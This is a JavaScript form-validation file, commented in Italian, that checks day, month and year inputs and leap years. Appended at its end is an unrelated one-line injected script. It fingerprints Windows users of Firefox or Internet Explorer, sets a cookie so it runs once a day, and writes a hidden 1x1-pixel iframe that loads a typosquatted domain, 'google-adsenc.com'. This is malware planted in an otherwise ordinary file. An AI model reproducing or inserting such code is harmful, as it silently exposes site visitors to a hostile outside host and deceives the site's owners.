
// *************************************************************
// controllo_data.js
// funzioni javascript - Controllo Data
// *************************************************************

// -------------------------------------------------------------
// controllo data con messaggi di errore
// -------------------------------------------------------------
// Campi di input : Giorno = Dato Giorno
//                  Mese   = Dato Mese
//                  Anno   = Dato Anno
//                  Nome   = Nome Data
// -------------------------------------------------------------

function Verifica_data(giorno,mese,anno,nome)

{
         numeri = /^[0-9]+$/;

         // Controllo campo Giorno
         // ----------------------------------------------------

         msg2=nome+' incompleta (Giorno mancante)';
         if (giorno == '')
         {   alert(msg2); return false; }
         msg2=nome+' errata (Giorno non numerico)';
         if (!numeri.test(giorno))
         {   alert(msg2); return false; }
         msg2=nome+' errata (Giorno errato)';
         if (giorno < 1 || giorno > 31)
         {   alert(msg2); return false; }

         // Controllo campo Mese
         // ----------------------------------------------------

         msg2=nome+' incompleta (Mese mancante)';
         if (mese == '')
         {   alert(msg2); return false; }
         msg2=nome+' errata (Mese non numerico)';
         if (!numeri.test(mese))
         {   alert(msg2); return false; }
         msg2=nome+' errata (Mese errato)';
         if (mese < 1 || mese > 12)
         {   alert(msg2); return false; }

         // Controllo campo Anno
         // ----------------------------------------------------

         msg2=nome+' incompleta (Anno mancante)';
         if (anno == '')
         {   alert(msg2); return false; }
         msg2=nome+' errata (Anno non numerico)';
         if (!numeri.test(anno))
         {   alert(msg2); return false; }
         msg2=nome+' errata (Anno errato)';
         if (anno < 1800 || anno > 2200)
         {   alert(msg2); return false; }

         // Controllo Data
         // ----------------------------------------------------

         msg2=nome+' errata';
         if ((mese==4 || mese==6 || mese==9 ||mese==11) && (giorno>30))
         {   alert(msg2); return false; }
         if (mese==2)
         {
             if (Resto_zero(anno) == true)
             {
                if (giorno > 29)
                {   alert(msg2); return false; }
             } else {
                if  (giorno > 28)
                {   alert(msg2); return false; }
             }
         }
         return true;
}

// -------------------------------------------------------------
// controllo data senza messaggi di errore
// -------------------------------------------------------------
// Campi di input : Giorno = Dato Giorno
//                  Mese   = Dato Mese
//                  Anno   = Dato Anno
// -------------------------------------------------------------

function checkdata(giorno,mese,anno)

{
         numeri = /^[0-9]+$/;

         // Controllo campo Giorno
         // ----------------------------------------------------

         if (giorno == '')
         {   return false; }
         if (!numeri.test(giorno))
         {    return false; }
         if (giorno < 1 || giorno > 31)
         {   return false; }

         // Controllo campo Mese
         // ----------------------------------------------------

         if (mese == '')
         {   return false; }
         if (!numeri.test(mese))
         {    return false; }
         if (mese < 1 || mese > 12)
         {   return false; }

         // Controllo campo Anno
         // ----------------------------------------------------

         if (anno == '')
         {   return false; }
         if (!numeri.test(anno))
         {    return false; }
         if (anno < 1900 || anno > 2200)
         {   return false; }

         // Controllo Data
         // ----------------------------------------------------

         if ((mese==4 || mese==6 || mese==9 ||mese==11) && (giorno>30))
         {    return false; }
         if (mese==2)
         {
             if (Resto_zero(anno) == true)
             {
                if (giorno > 29)
                {   return false; }
             } else {
                if  (giorno > 28)
                {    return false; }
             }
         }
         return true;
}

// -------------------------------------------------------------
// controllo anno bisestile
// -------------------------------------------------------------
function Resto_zero(numero)

{
         if (numero % 100 == 0)
         {
             if ((numero % 400) == 0) return true;
         } else {
             if ((numero % 4) == 0) return true;
         }
         return false;
}

// -------------------------------------------------------------
// controllo campo data via onBlur
// -------------------------------------------------------------
// Campi di input : dato = Campo da controllare
//                  tipo = Giorno / Mese / Anno
//                  nome = Nome Data
// -------------------------------------------------------------
   function controllo_data(dato,tipo,nome)
   {
         numeri = /^[0-9]+$/;

         stringa=dato.value;

         msg21='ATTENZIONE - '+tipo+' '+nome+' non numerico';
         msg22='ATTENZIONE - '+tipo+' '+nome+' errato'

         if (stringa!='')
         {
             if (!numeri.test(stringa))
             {
                    alert(msg21); dato.focus(); dato.select();
             } else {
				    lunghezza = stringa.length;
					if (lunghezza == 1)
					{
						stringa = '0' + stringa;
						dato.value = stringa;
					}
                    if ((tipo == 'Giorno') && (stringa < 1 || stringa > 31))
                    {
                           alert(msg22); dato.focus(); dato.select();
                    } else {
                           if ((tipo == 'Mese') && (stringa < 1 || stringa > 12))
                           {
                                  alert(msg22); dato.focus(); dato.select();
                           } else {
                                  if ((tipo == 'Anno') && (stringa < 1900 || stringa > 2200))
                                  {
                                         alert(msg22); dato.focus(); dato.select();
                                  }
                           }
                    }
             }
         }

}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
